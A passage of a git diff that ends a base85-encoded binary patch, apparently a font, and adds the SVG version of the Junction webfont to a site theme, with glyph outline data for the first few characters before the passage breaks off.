zeg?kdQY@<`SiFKXTAArPR^dBNgpz%$jB43pTGJxXUx}#jCDXh{GXWWcF_Sfs<F8FO zS(EG5^80m<^MdB?*K*x`dAa#eUpQV-Uo7GFBt0tS{HklAu+k$KcNrrpFz&RdC!zX7 zWh2G#43%NNVa|+F69y5|5$cMkan<i5>$3`0K8EEenqty8JjTLXJx$G-K704g3m%_Y z<E~gywBo?51y!-gf+fu}rb))w<u{FUxqcxe(z4tc?rf=xO<m9)ox1J5!o@qsw@;fH z9ec;vnLB1rn%y($-B?pocGksG;qWGmN4jW<EeqKGde+Py0kQ?U*CUp*aX48bed)Q` zu1KQE^jp<Ng%2e?s-?ve<IS`nEUp`cmWpDAh?>Z}4wrRqy#xd%kluoGNu9@A?^M#< z*?B=vq_V1ZGR?Uu9<3S*JsloEy{Z~BZqs-;|5BKLm?t`k9)M3UPt3eFUQnrIc%j>& zzG~EPk!KWacTC4M0m+{+P7aSM=S87HMe@5@L1j@*KvhD)B3A4RWPqMRyRmMb!%uQM zrr+PMTe7!*N6o?TYp)pRmLGm$`ZJ4j_r0ceJ+OJEI{#_oP3@Gi>;rD_jwgBGXY<b( z&%9xrH_D9D(z<0+4{U7AZmC(<vf21l3cz!4niuc-oAHb9?*07!S@};Ml_b7yKQDf6 z<$<-umuA~lU(@Q>H?IHdE9*Wt7M?PmG$zhDwEmf;AMw6N3{`5|&{o7}Y@TIoHhED8 z=i(;t!U`k`nWj;OS<*_r{G`>DP;E?t&6^U_RZJOV@S3=Qw9EC5vu|D=g?6_^W3c$$ z7s!ps-4~8M|JP);Qm#qmn5T8wb3wP-F)ZD>-E+ax2gQYX+v@I9t#-`YHag<%z7$HA znPxBN^^T+lBG-CS3(*OZ56dnF%Pu4r$ncieNsUiSjnBL^@a&5QKmJFx^un7`*1#Dl zA+1DbWvu<2QT73oWU~>Fy$#9U5{%PxA$}Zk*q6>#tm%xgoK2LC2=G)fz_CohwK^ek z*}$q&P8oT(u`E$zikntMFeMFgM_#;|Y>1Y69Y$i2ha3@lE*Vc*wR+hIoUuN`$KWhO z#t2}OM9~UO9?#`ImnBpZ_E%*DD#s~xd{ns<Rzp>>%IfhPaDt{wYj0xp_Aed$K-#-u zzT_{yX=(4$E&I0boVvETDkC*#!j1)F2bTr!58hT48<Qbzp0)3JwRB}m-P>p1o;UU< z)9jI&m92B@Bg*oQa~-@OJhg15qdb4o^s$PvL$#(mhu5^m9=vZ2$pw5`gJ&!uwGO&2 z#^PZjQ6@-4PG;Rp(9pyQeiIxp-J9w0CLGL(#cbg~H-`#=A#1oC<A-?&$&ORU^MGnq z3xceB%`>N0b{trEbGmz-!#Zxt`sQOWh}9pLwKq?!DKE@Y)unZ#HRF=;p|M^1_!WNB z%XgO5)n^3m@i@jr3XKECj|Q3Xy;NUL?ywwSu*EIm_58=sE#R?bF4|3ga;#Gcc^)$C z1&7T(WKkc636{Fi2gw75x`iWLx8ojuZ|Df(Tbl4k+ht)BfnU|dm3iDtLmr&+0LFMd zZYdlDV~%rWY5##)#%|-YXHLBM>eI&CyNol>sHMHn@|j1CqbH5SMoihdnrCg`o!rgG z@=3~bCartnYbsM?EEW1tv{<(%#gWY4gqp%2h&1>(a2t7#(L{{HxLw$V_S6*ERdz)j zZLrwW1cZTysRk}4ax>wgSK9XGK%3MwaFl=Yrdn!0W+;0GUbP<+yr%lysNc@&lN6(& z@DFu6zM$?awUVJgB7M2mD^(8Fm!FiYM)0SCEn)EyLqm_8rsR4_6oyBr=xZVM71JpC z3Oi8CG#4dc`2(rNgTnX^7NM({NcA8@Pa9FIm3p*PjJ9wgrov2CL{nk9C+<uwPJ&S{ zv@#qskjQc+4B#pG0oDVR)m5HQVYn(IR^Y+%PGM2G)IEF0Pk%Cd=E0@Yy}qv~{)QXZ zO`4fFvgG=Ee%sUe;p<Ckn>+au<MkiyGcJ8^X_<8CC@+4pyF#j%(v+3C)|NAIR77gr zZhVxO`^t~+mhOZpkaxgqWNd!HGJpRYuMW}M(g2<7VB<}C!=ET*Q?tYpvR!ann2~TS zf&vb7TdLF?!Y<a7N;pNuinAa$2<{=*Pl2a5AxEBg;?f&x>A*DU2vpy@1NoQbi+7?v znH5~cU-G6=@#IXRpXuO(PC`kfI>oz#=LSCHd-1LlaZO^T7S40|gs$Qh_{-4<8NL*} zg?ZBITk^mYqi$T-USag)AK0e0Tu98?yP&PqeYqXV%P1=Y@gG9YwN$Ja6YIGWgLf|= z&@wqT{FMaXu&|f}=z6A!m?}Q~HK*xD!Bhei>w<$BtB4HkhaCqbE5MLKOYiPl&EnBq z5C{tmWAY48*DzVY%ag$Z{!j@E!>+cXw^Huufq2<B!)3fD|E-X5ytr+CT@J`tE4?(3 zuhy594Xh6-#gY=9sSb2NhH1PkLO)c@Bj$Jow*&))gU+OBTo$8~JTnAYhnR(-n2;(k z1V7)5(I?7M3s9DqtzmH&jR$5MntREm4(NmO;65M`@Csj-rdA58%xBW%g|f2^CW@4Z zCVHClf(8B^8B~E|hr>feZXQrZPw|2hG)5#CZE=MhJtkRrpa$Nakf+89&wn^TB%wb` zA|a(1?Y&03O+tf@x?Gl~3vViI`S}-n&EsXhT5{2cG=w9Xe07-etjhorNoz|utWpJE z9cZ|vQUEoWTLdFsUi{mK%|1BXnzLV5oEI1lXudcSTN#!PFtJ+TCNXDD9teY>p{itq zKX*w_JTYKRLrbNLrMbDvNeltyt=!y;A%QtzOYDN)@xpi0$l?fSylO@(Aaw(u4Qw?y zqX?<f;wZ+Q@YxK5e^+;>ksqJ{x&}RT2*P>Yga`9vKtwF21ZjcNn+MCEd#grC<y`2P z?z^5pwXy4oBWqihK6}de{H<pjTet0ddf&FT)@^%d&Dwu|t5n6G=Tr2Xr09x1<GsXb z<EVbqO+S#z62`@Cb#+^~(x-80+jx20Hj1*t{07<EhJLt!Vs5!=G@Iin02S)+Ff9J+ z4(d~mkRDoBl+rN6x!gL0MhFi&$aD`vRv-{M58yn6NUCEP9&QFClEvY?-~b+2RK*1M z%n$bQY{@wH`r%y%4{Yj{j&yeJS*n(H_o&7vr;K-v!_vZmr=`y}NQ&|1gPL{BWE1O~ zbkD;&#=n@WV|qDYBz)`wM<9{_@||3V9-gE+q6PHf`LJBPfnja}<qnVT^AiKS)KaY6 zmwSLVe8aAw4Jn3oEx`yYCS`zetQbq-5_T0&%4L%!E#19Oc5OKIlcl#GdTw>&{;F*i z?T^mh^W`e{C&nv@Bzvl6c5iH+wSQZi?0k~vKXrFhnie;ndgoQ+<#>m)E%<miHodtt zm*2~`C5%hk#*G7`;yu6XnNuP++;3bo`D6)$PuY;S<;hXuF-L`1BBUuUk(I+R+tI4M zfS9J&5D-(Ba!h~;=ermt<T}hJT$u_gkPU-%UOg*`PvCk<t<?&>T1u_PJ(u}NvWZ1T zEb|F<N4*C}3*fv$(1Kv-(nr61$XK#{P8;u@`gYa+Z~c#k<xw78n~-;P&fT>T(6MoX za`N=9H#&Wd17~WK@SCs3ozlQcIbYiM^tLUQ>N@DJ)$sGZ0Zd)Z{>I`}G^!MEw;-zL zko>`8??0iJU`&;mD}j~h9NhFY=Fc5}?z}nXJ#Nj>uV3f6pq2Mysin{9q2QWSaZD3O zHyyR>+<lSj%8@lf9Lwk!N6Hl=nQ%Z^Z5)roQ$^SfgmKogdPi#72#3?{xh_(6l>tGf z#TRFYd8EV-S%YKQ>d|xZLH0^7EJNr3I78tf@#p1NnphXkSb`CwK;e?Gh#HY&l_F*Y zCN)5Y9LQ4;Iua^cy>9A-9X-d(YL-u(?6S_9x4osdX~E_tv7KDGW&Ospk@oo$%3^Ek zT4pYP<X^@c$4?q75izoEgR*N|ReN<+j!%(tLpQc=Xj}BXj#_V5`_e5uP_?qHthp@a z3*-)O?RcR5<cF!?i7z=nS>byX{va_o=?sjKVZC87PCcPpV98iia>-j{EFP#9y2Mf+ z1WwFW<d>lpN}n>_81aPV{ylp>Uun4?ItX(XFt!SPKMdY3;RV-IlJg(TbPmsd5?0V0 zPD|>v4xNXyiza3`?%_QmypSi8mz1u^!Y-G46Jy%$nl`;{Y3ta;^flk>u5Y;K;F{_D ztWtmR#aUaM%k1{DrY#+~>)-U#g>@cJ-NK)m^AFju9cYh@G>i>0IMiR7d{Uyi-4wXz zpL$;`g=pk4l1y6_Mk<-2HunYCno!!bZfF}aE_H58>c#Y!m?C+o?kD^eRpqZdGw|xu zm=ZtE$+5Trm9Q4inDwBT$8TV9FWR6vV{srZz-T))!<@%CMgoWB3t)q2!U<SbC4Fp1 z;GXV;YZZ%^n4;sd4U-LKxuIHVcBY9Lvvb{#d6S~>DL+Y`j0q1L2UM$Z=wY?=qCGQH z`P4jOntryZ=;C<6FQSivwmI0JlQV`b#W7^z$7PF(Yq5&W#40vgHVg}dvVfcr2F%q7 zo0$gWfi-Lzy;TFJ9;eZJ?B&5z-#0HVp87XjI6%)nE~TVLbScFKe?T8+7Q}BQpL0<3 z3jB=7mTe+i`G;)l<!pz$&+1U=?W+p6UoITkcFJabT(Jt*0Ka@CFawZ63WW;ce<+35 z@lOorZ}?`u<t@X`KRsovHM(W592nRoEx2^{(udOAfjuPOG=AO^^7IYUgDe;cp#n-3 z5(W8AAo4pGR021F?r1bou!9W7B1(Ta7@HKjpZQO1BJwDp1VR>EW`x7BYR{=>DOtEE z5#l2u_5qOAf@L|xG(Z43`AZ1)kQkr?oQC3m^80zuYXhIf0Z#9iR$h8#z$txVjsXO6 zD;v>f5BrkIW8FGruS=wfvE-I+a<1BU>ZepSDnM)cb=3#FXeGSJ2}Of<2))1`YDfG9 z%`s4-k_UPe)U4vP{KE@qjzw5jgfEc&15AGF(mAOu;NKngu8oa4q?|l-;9`gm?{#}j zeKBxOYDL?u7$st8Qe-G%*2psqe=x3uQUXz}DzhV9sw9F^<N@75=#nZ4)@%qicrV}o z>8G@g-~HLqd%>?5Vg;t7d=V=^WA5)_1)fVJV+Cm7%ZL@=6e}RXZjin(Rse%7b{N3| zYAFQ@zz>b~SBUllIg+=MqA{rb)+j}>4z=HU0%L|8{G!otfYD%wu5}M}M853vCfo|U zyyw$T`F>-T(PeGw7BLBk`v4!$BJM<G-N~^kD>Odi5}c!=U)Jc53w%uNAMO;Kq<&dU zg{G3L8+E5$IQHU8$?Pl6H~9Efi*UZd-On^j`G4UB7f!Vl-Ug>W`SqKODN5JH-SUf< z#u7c253W;Ag0nKB3IyIy(nDMi1!<7MgBfJGvf$#bji!t)S58X{1fL3%asWD}68D8A znvkxEG^w#zmq+-|BbHqc{$UOZpm>cl%2;JRwlrPO_Fj&%ON=ttm$N872Qkwk@XGYo zB^|^BIINWfGRZ+l+RO3Yvw7yIv=Zt16@7FHL}Cm=iY(UAB6g1J7MukTh?3#qNe2WN z?Mb-YSvllQ*Ydq0dTta&&lM3weS&$?uf)#5+fZF&u0pE_^D3zth5PDQB^>bFkI9cy zP${8QnHCM<<g2Mttym7rz3ITZH=63lzqQUQrycOwd`<s(T9M~|J#4G3xNA-L*h{`K zvs-EphbltO1ur+xJ-Dlb=QJ(oYVziKH^jcN*cVRA%Pz?r)?B)_dvn9U8}5qE{Q1#c zFQpWXTiaUEl<(Zs@v1N2TOw=;(34`}-7JsINJ^XVm0@Wx&at8)!nyTfq(Ab-q<*!p zEI>0CNJ`<N0c>j#rWv9*lc;o<N5AYf^H9IxN_S)N4_>o8_&kA^fI>rsa_^BJzbi?J zcQ5{S&vPv=Ox<!|!vabA%l}k+E*a+~LpuY*qJPguKE7q{`^WcxAQ_(~Woht?{5)hK zO#aDY!kuVlT!9RjVJ*W&d$Z8KQnGa5-uEV)EHzkQVm7y6MV_4W2Eh-2<q#+}5u8UW z?8_g1K(ksK?rs^I=Dbr%EsagDP?Qy4nss1PtZrfL;<g>rCcb7|f;TDr-Q9>~iKV;e zE1qy(j<kIBi6igXMpt#UO-tpIF3as{(Am#I*y0dRCv=b+)8T`R)4Gv}EYpPzS|nPH z1#gOLhZB;_WLkhN290ww2pXh$01Xfd0i_HJ0G28AvR2^H86bludy`QEUMy1pSi!$# z3R$Rx0%QXazH|@yk=5=?r}jK|M6yq+y1&P7GT_LD1&Z>Q@3;1Y2T}pg=i~QCM?PQg zjxNr=W9otP62Ill{tqSY;P<!8JuCXP9P$$a53*Px`C2oH3odkuBIWcT?3-*yCZgr^ zY!aZ5Ft1@##~qxYro#@XSwy^XkT-&PF}`Z`AdDPfZp8kQzc^3M<psnR3>}I$EtCt$ znXE47zSq_yI%?7`eSY|nm94EeENt4g@%q^5Mrn*aG;YzPxx2B3_j}&e(Y>cL)bi}b zis&8l+LsrlNav!{X4X7PIt-XdUZd`YFKQNx`_b|^wr`1T7trWXA)2=mAyPCw3DXR& zDL;WD-3Q*JRmOcHn8oJ>a`yYEJAOjW@KP~><}{mdKZ%fus#uk~U?_+K{Sm0T?jc_H z>Yk-*HdWN++IWkRI4r-}^CDlmVR1)ZQ+@4=J(o&lc;FCQJaAmur<{fL+<-{Lw^@87 z197VX<?Ew*7^h%#XtC_(Xu>6CqrQOaX6#q-ij{q?-6Di4hK9%7+C*Baz!DkZ;)ytk zsEZ<zCsxgJ5SUz>(}KX{GRR#U<Su3bOXON@q6Z-$dP@;j)$Hz|t8`@bxcVtKlP0Y7 zh~<qO=zxHaP;7lQUMZ{9!X90wK;xj$kWEy8cC%N{NkLk`qx-XPb_rh{LScO1I@}F4 zCE-yu(3TW+9H<VMgtH>Di~?W6sy`2sNlTclps+~95s>92!M3I7<2(r=2GA@JaB2Fq z*(nblZr}FM#PQ9W^qNVz#kK8I_szI}TT^4zTJ_7#H>}Z~yu*0gIP;S6o8G54y!cwv z=C#w;44XE!w5q*r=CtWmNBWPPTKCAf(vI1yXP@iX-dgHi%Y8l0f-Y_4fz|@Y^r@;U z$!gxD&9h%JK7aASw#B{QtZFXuC{k>lyry+&%$rfQq-FUk>~({@k>92nIv|ZrF*U7b zgE!!^j&;%yK~w^KAy`L(plNAlTpNvkILY)B3JjuXA&Su&vhh7E7R=%y4;F8^r}qeV z{gx|7+RqvT(4Oye)!2XOZMh(Bd@@ig#w*&u*9jcsAm5R&lxVXNg)1XkH=cqKaMcDV zpjdLh;?(D$4N#<sD8h;SVzlAO0qf}Uh9`>FPi}OA;^`gxrP|sr4gXim&Y88fGq3;r zAi)P}!{E_@<5&VJWhp?a6A*Jr)qBk9NqIvo39D+RgSl_G?7(7hnu(}^Uv(8GWS=wD z?Sb3@VGOyR5ge7Qy{T^A;oe0ZV`q*TGt*dVJGMr7=3+zKxKwO?Su|yc7d_xbfZdnm z1^m#Lc`+2V9T0q=cuztMzYM;ynGk~uPFO9iA1gE$;IzO^pWB-TmxPCoaa>>JjPM{B z-|p~Y&nMw&VC!q{1iBaAX<dd_M>sV-tR|+y>&7!;p>huYRk#EW>LYx8LvP4vZ5YYh zo(Y`E`pzGNbtS%BFu9pKH*7L~lv8DFeARZ4J453gs%_vclDEM#{8RMN!HP^y6O*CJ zL_d?po^bmoW0J`X4`jrwh2fIk!-2AyYND};M=Wzc-?KEM?4ib{B;C{}q3?rifk`*r znE_-<ic=s3S|Wz7*W7S2AhZv%95iJ)=++4>B<D4f9g2dW=)OQuh&62qfo@189~RTI z32({PAxAI3L!kPypd%0trjQ6%Akw`1@~MK;Sb96s-n?nW^<~ME()IRdhLM#2iaY9R z2C6U+%nOL&(0D{&t{sm<J<<Qq#-slW$Kz?^Z%Wq(e?J_Pcy_92Lx7^p33?^cO)k+s zx<nueX0eOlza59nY$;qooG*?;ZtFSt;=!Ia^EC5Gp7!LE#-CwTwtTq0ws!r8M&g6@ zW5%qPHW<aPzRKUC<tp-J4xCdSL^}y5-kyw;CWx3SX1-L+d{<=Pe-|y%o*($>E~7<w zhWuBf#VoAX{ByK8a8AAV<Q2F$uu#7B8oUVG0ezTtr4M4Ih5FzUeQ;5jtxDV%*ySq3 z3*Qw*f5QOPEt!=j8Y9G;f)H?BcG7G&%!f;cI6+MvirOUnRYfZ*0Qmm}_B!(HDT2LU zfVwtb_@?xykN*L0i8(~xEaU}|ZII!s$^H)lD<av<h+di62G4Mcsbq-0834Xm{gN?) z?tftFmSMSTDrWE9taP0`Uz?k=V!ZLk0dgIojt=1LJ*cxBUjq>9waHzbam0W|64^-! zjUqtj#L!ML+VO#<T79IcIsY{Od9iiFg-x1TO21x!D5v6n-1OO<@DlYo=%^LA`w9z+ zaT^lHB09#Aa+Nv_A)=x-j>pNjYll}iB}AL*fdh(7{YonKixPzqmq!z*@aD$-nIi~9 zmzq(;+3@FLZ)#emu<HCCcqm6!jHhKn;ncMNiol;sKpKn2V$GP`xnOKb$C|RlypE02 z+xK;@tf`vX)f#?#<6Z50!Ywxxwq8HB`G(bFqJP}K@uTCj+d8Grj+(YmMYwtCjZ@c7 zia0kep2Y*x8$+?u3~wN-uKupZ{YMaaVba@YAza#JS_*{egx&_dX?-{ePZ9c!pj`k@ zjwN`pbZX*Lf_Ak3MBr1g|HLo$pIpJGE;1SrvB^AGB!zbga%%2I5oV}ZImzN34**RV z=M`_Xcy`<D%}37yp7K$~&wB=zm&T@sr+#?@pCk34y$4_ejEBD>jn=XqB$HxjA#TA0 z)HXQGOk6|jx^M{7;vbB0vK%SaQs)FO$+skY!huST)`Y5<wdeql43~}^F+P6FxWpUf z;H7usoTo}Zy}0`v61XX!n3$9b)bFCTZK^sBg%ts~qTNWe@d!Ru3Q?uiE#XhCuJU4z zl^i_O^iy7}D$=J7$3m}TXNJ;sX?Hl?E6HWGk%8lgJh?>tK>2DG%J;Fav$zlCYgomh zD&kxvA1cLoQYa^3gy%MXIN`EC=2{1{55Z8+ZT)b#$o9bJ;O$2k6dZ4Azl{AYRxio! zQ*b`3R*%;=B+kMG$4I@%Hq#-T9;iu=;V{$(>c+9RRqIDPKC)R)mLAHAw@iKT(r5e8 znIA?X@)U8b$jBP_h4B~Tygc{P9`uQPOiR%xH&01wbB4{^rtxgS>a*BopomTI<l=-o z2~&2$DIA_d`wB))d@IewLkKHX#j3Mr??3j+y>Hzm`pB^po0I1@nc^^mv{T{tRZ?y6 zg7(Rj4JVlm74)eVY`(tyEbu07b&Jym7~JPbLrmD^JSxYf43&dy7iGs$*%eiRJ&>vc z5gsNT5#W8*olpiAjCn}E?xg9*Mo2PN&B)76_zS*b&a7>@yspDod6H*vd&wIW#{K-! zlg26IWVVwZ*(`;Pg?yVcFz}awXL#J0ZWFq4ENr#qpsOF>KZ*NcrzQ8e$8C@o-3oEx zT1J$h5J}4mlg}!GROEtE;gz)6;DSo&KQ=bwjMyYCq8se}x;x{7mI`qhq7=o+rC5k2 zV=kU4MG+2!F7>(Gph;gE9pgA&AqE9OJZVu=kmyPZ7PO@JB*|4trmG8sg%-WY6iY`~ zC?C(0G?6%bQ&!bFc1vrxv1YV!_fx!r$I6~BJ8bmV_-?CMbHwPhwT9Ph+M=*a?@Q;4 zBE~l_eY7#UDZ0`wXhZvuUI%T`*c@~28p5Lj=}5_W#2qE2K-7szCua!i40)*o|IAD6 z5MFBf<iceyweV4=@h+)*V3XWDut`c?9&|S6=RYVn_Vipj7JAU-fm>Cy@4&#@a!fsd zb<8`N7K!Rbz_I3*xO8#`!0I6j4eOaBPmoil5X#I~86R0lDtIJ^?GGoTUPxP-a{vj7 z5Ra>sl8%iR3?E684W|t3_=u}+fPJ_N3HFforRYA7xyRO=ldU3>26GGmIc1tl*;O8_ zFCJ*`R1p?At6}V#{9(1V-4$GNXH|uYt213vWz9^lr?zWz!>mZUlu_I&x#qVN6-#$S zXDw(baHsc#w+(zp^;Je|e7@0TF~2&nXB+q1>^+kj7R(wcb*jEm;UIJaupVy)9b{NX zUmPJsdb)QH-0w&K2IWXPvIn%w$2+5lb`@d^j8+^?6j>P2&J(53L9SIrHOmRjRjH2v z?Q$#QBgBg12nyq>2JJ@BJb+nUmn(3A4P3<@s8}&k7g2`h@x)!1xBp}i?Px~<=mMVs z!kEb<P}6uA;3iKZ2df<O7rJCznOnMg#(-Y7`r6uhTSd*xboZF9Z-G=^L{Z){x~jD} zpm?!y0(3P(J>mPLPFHksLBZS#w={3t5S5|>kAX@h1@ni6D+0EGJ<;2Vvgm)e6i{A~ zU7*+|hQNlt^gtS{R_ryVHG=eLa<wCASJK`r)20;LTm$BQ*nqjswLp7083%*aB5Z^W zxU~$d42eZFDLo>^GlWv(dIofxX+Q>mYxGoj1$Bj1E5%GId?#@C3F(1r1V|60>9$Aq z%xvq`rZ=q$1gaK2G3({slc%on`K1?anWf|Fc)*!De-fWulj+1RUxx3cB>nAP6?-s= z&;Qr^MNwvQKO)M6g2a7tzaQ@L6)!WN_B`Sqt8mFSz(&G7W-Z*)TIMFJ;SOV`{Q>?4 z(u=O7JMxe|flX46UYl;!kUodiDf=&{lRsvxSq^_)lrvnEgLJjSEQhZY<%sk_d{2yb zn$H`ri04Pp^TyNAYqy%u8;ivABAxs_mfU2$4WeFbixT}oJWR6vuZnUiucRm2zf_cS zReG|VMWP%tU97<;%h@B!87<1`!P<ODvYa|mj+riasn)wo*u?Gts6ZU0_AJ5kO3G|O zw;bhjGbc&+-&y`F=oXMpUrrZ3U$dMnDo3aQJZ}dMeB3N&@Te#UIrxfKGw8O?`aa5; zXq@EF;*AzcH(mkVIvsYZ*I26_7)oc;z?TDNy@Mx3y|;*VQv0Wx^@gclNP|evLb{f$ z_a#v;a?qY}NdI=SoaaS3X1c(uW;s<<PJ6PPVm$wJvYgjNImi)oIBy@X)}fulRWCk- zr@|9!rk}B$Q`RFL`#43qSw4=meut7L&~pQCLOX={3b&Qb8R#(PqPG7B<LLjRGV1tw z<)E}itOZ`#>2viS@+%w1>#)7&{H9HU25tPj<;DNzdu^7L=6m2rat#smohbN_{Kf<B z31?jUEv2^P&hfMuT=^P4IRtM$KJ*0FzWAaN)|(O5K%Y}Wr~|$(L?G91Cb%ob7nN+} zYqiwseu9Yzxe}-d0qnFz2KHYuRwXXqbkG-+{56gAVI@B6svG4LeNSms!_fDX#MM8v zwdMcE?>>Rv*x#?*&E9~Vd*m9(InI2Kkaw)@BR{$K4D?5^G47Llws2n{?xDr)`_xjr zHxgb18b2rn@{2!Zo-z+|!w|b%pv=4Y9r}rPpyQP%)!lffMTX}Z@7!RfLsvyb`pws- zBlhNF^LZ6JJ@DQQ*X9qNu`M*;`^S9I7S1L-@!akwZcn@ZuPon2jiYZn?ie}`yg6{( zzR!_|d+ddwRQ#b2wqp7oqvNK5H;qF3KC@RM&paHI(0lrm4&#SwX*}yiP(z3MC~LFS zvDG#&>$cjlOX&NoLrOqXBrr$)na#DtSQmecwMj2v&ixMSkXNx%<qybzi**4*cYz~q z@XWU<M_G^ZSGG|pM9e`y+l1?G0NNhO#d<7{vfY*yY!l8sij7UPZD-w<=UAO(80)p% zgzL9iukuy=+HsHfEFZC6$&KF)gXhqOUM0?Y)n6d*XE>vsltyREWTf4~R^wftC4uWl zS)KJX%AJ6=f5d!Pt6CtTY<UZd;oM^xi?-gtmP;owb~oaEC(8D*<(4Xx`8~EAoT^hk z!1YPg9bvuv1<W6ta9ziGtuyiL2l)NF`5xZwmXF{b<6Ms6`z{}_1Ij(DNu3QX+z)zm zv9b8FXqWsPu)*KZhUZZKWY7e(r@D!rL-Z50q;iQS$)BJHXd<}>ub14$(?flyev7_S ze-of5%EE7nIHM2fhh2&cHcJuX6|`v@wHLoE{Kknke!z<D53=r*J5e9#A^8U0wBQ38 zBvC_WIRW`VKpRJ7h4^*ip4M$1!x`-!`dNakPR&3WpeM-<$rJsQ|9}kPdBJz^oXT?C z1b)mz+FbPUZdPY|3_p!9)aAcswugUB>X5I)S0b)cx|IDEpJkfmo0dbCU#Y4(UA;&B zrFD|E*Oq6y&z4B}O3KIf>+Fl{ar+5Jp5r;^x12`mj?|A`&91Gk{<Ma)d((EMJ>xEP zH@OeHFL`Erj(SIV52de2-=F@zZ-nn&zt?}K|Cs;%jO>iojQttUWc)Vp&A{(7$7CMN zQnK2!uh0H!c7KkPvnprrFlAWdu-(Hh<<838mDiegDDS=e%>1th%Y#oBI13&qI9zyL z;ZFS9Ti9Rt?}fiC{B_|wh35)C3n?LYXjo`?XjG^^)DmhB%?&LJeI@j*(2mf)(2>y5 z&<mkohJF)zFZ4+fD{>ZP78MnZEE-+Z@L&9!TlCGMLq#tXy;JmF(Z|J&#k-0R;h$D~ z6#rf*{*U6{7QbKod5LM?GIkJaY8G}IeQOY!Kq5SgFX-IN%x|#TfP8VKq=54G;AdWQ z7Q~%-Ey0JiD|s#B`e5=}!H0Vj$!iN{x!)(R@vRwrpVfT#-`QRGBJUJ758vmUhc9%_ z!48XgY%WS)C_WWji84mATHJTCwKz74FL|y47Mp{VAiEXMug3HAY2k9*PsDi{o?L;H z`B?2)g)}Ou3+X}RP(AeYUC1qG|Ln8E*M63G4c_h)CEbN`|Jl2L|4HI2A2j~^H&>wC zE1yH2hE^|RE74kNGu0Ht4vRS=Wxi<twRAG+vI=j_!;?ewA<E!urzmL!{>_7Z8~i&e zFGYI!(3~(hAGLka-$5jjOvsQ93u3#hm`75;OYE4#t}hq7B5tgQdRaQG9zP@}fZaA( zh#k*CjBPIXoR4}75M>d9wNs35DgcdQXWn)AhTjN$b*voUgByt*Rh5W^8HMlgz?H>D zgWF@+SVT(Iv2pOt)&q|=fUlF-Wb|$dYr>q`jBl*8u$%B@n47WwbPF)`t-#;6vFV7T zZD%vsOvDm)urDJ*;&wKh&A~d~V_fD6w;=X$FTNlA60Dq8@V&EF*>Uvyb@m$j0Xu<j z0WD&S*%Hug1t@nn<ojO4vaMtEHChc0reCv@+{$e{1v^<C_!vbhz8jXt-Q2^y_^z7| z-l0DBB)$`yz&`Z<$^GmZ_7k4L?&ATT$+Peos~qd<yB3ZdIbme-JjpyaR3^`{<hhp4 zl_N)r=Wwn_-izmOFP_7BR5HCPd9F^LYm(>D$@5To6U_UHWVsa;_O6BVSFe~ich1TM zW>#gRd9D)Y$;l=(HkeJoSu_D>(FB}FK|GG~!A%;!pWUe0THAHbzdb{5q;J}4ZhR2e g*M^I)&B(<EXgk^ww-=nO$&pFe@nl}i(0q~q1qs<DM*si- literal 0 HcmV?d00001 diff --git a/assets/themes/the-minimum/font/Junction-webfont.svg b/assets/themes/the-minimum/font/Junction-webfont.svg new file mode 100755 index 0000000..40a5de3 --- /dev/null +++ b/assets/themes/the-minimum/font/Junction-webfont.svg @@ -0,0 +1,177 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > +<svg xmlns="http://www.w3.org/2000/svg"> +<metadata> +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Generated in 2009 by FontLab Studio Copyright info pending +</metadata> +<defs> +<font id="webfontY2elItE2" horiz-adv-x="1261" > +<font-face units-per-em="2048" ascent="1536" descent="-512" /> +<missing-glyph horiz-adv-x="532" /> +<glyph unicode=" " horiz-adv-x="532" /> +<glyph unicode="	" horiz-adv-x="532" /> +<glyph unicode=" " horiz-adv-x="532" /> +<glyph unicode="!" horiz-adv-x="575" d="M174 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM195 1679h188l-27 -1302h-135z" /> +<glyph unicode=""" horiz-adv-x="774" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5zM442 1464q0 49 33 81t82 32q59 0 92 -50t33 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> +<glyph unicode="#" horiz-adv-x="1689" d="M82 489l35 148h338l88 362h-348l34 148h351l106 430h152l-107 -430h361l106 430h152l-107 -430h365l-35 -148h-367l-88 -362h377l-35 -148h-379l-118 -489h-152l119 489h-361l-118 -489h-152l119 489h-336zM606 637h361l88 362h-361z" /> +<glyph unicode="$" horiz-adv-x="1341" d="M117 281l125 118q131 -213 387 -252v607q-78 25 -129 44t-111.5 54t-95.5 75t-59.5 100t-24.5 136q0 117 42 204t109.5 133t133 68.5t135.5 28.5v125h131v-127q260 -25 411 -186l-127 -111q-106 109 -284 132v-537q109 -35 176.5 -63.5t145 -82t116.5 -132t39 -183.5 q0 -205 -138 -322.5t-339 -129.5v-119h-131v123q-336 39 -512 297zM381 1163q0 -86 64.5 -138t183.5 -91v498q-98 -14 -173 -76t-75 -193zM760 143q129 12 217 87t88 202q0 113 -79 173.5t-226 107.5v-570z" /> +<glyph unicode="%" horiz-adv-x="2066" d="M123 1167.5q0 118.5 35 205.5t93 133t122.5 67.5t136.5 21.5q74 0 138.5 -20.5t123.5 -67.5t93 -135t34 -209q-2 -227 -115.5 -326.5t-271.5 -99.5q-72 0 -136.5 21.5t-123.5 67.5t-94 134.5t-35 207zM276 1167q0 -168 70 -241.5t166 -73.5t163.5 72.5t69.5 238.5 q0 170 -68.5 244t-166.5 74q-96 -2 -165 -75t-69 -239zM350 -96l1188 1763h176l-1188 -1763h-176zM1167 416q2 227 115 327.5t272 102.5q74 0 138.5 -21.5t124 -67.5t93.5 -135.5t34 -209.5q-2 -227 -116 -326.5t-272 -99.5q-72 0 -136 21.5t-123.5 67.5t-94.5 134t-35 207z M1323 412q0 -166 68.5 -239t165 -73t164 73t69.5 239q0 168 -67.5 242.5t-163.5 76.5q-96 0 -166 -74.5t-70 -244.5z" /> +<glyph unicode="&" horiz-adv-x="1802" d="M123 410q0 150 95 254t267 200q-104 115 -157.5 203t-53.5 174q0 92 38 159.5t103.5 104.5t138.5 54.5t155 17.5q178 0 302 -80t124 -256q0 -121 -102.5 -210t-295.5 -187l377 -404q31 47 58 102l69 138l55 113l127 -78q-162 -324 -200 -387q182 -180 211 -174q37 0 53 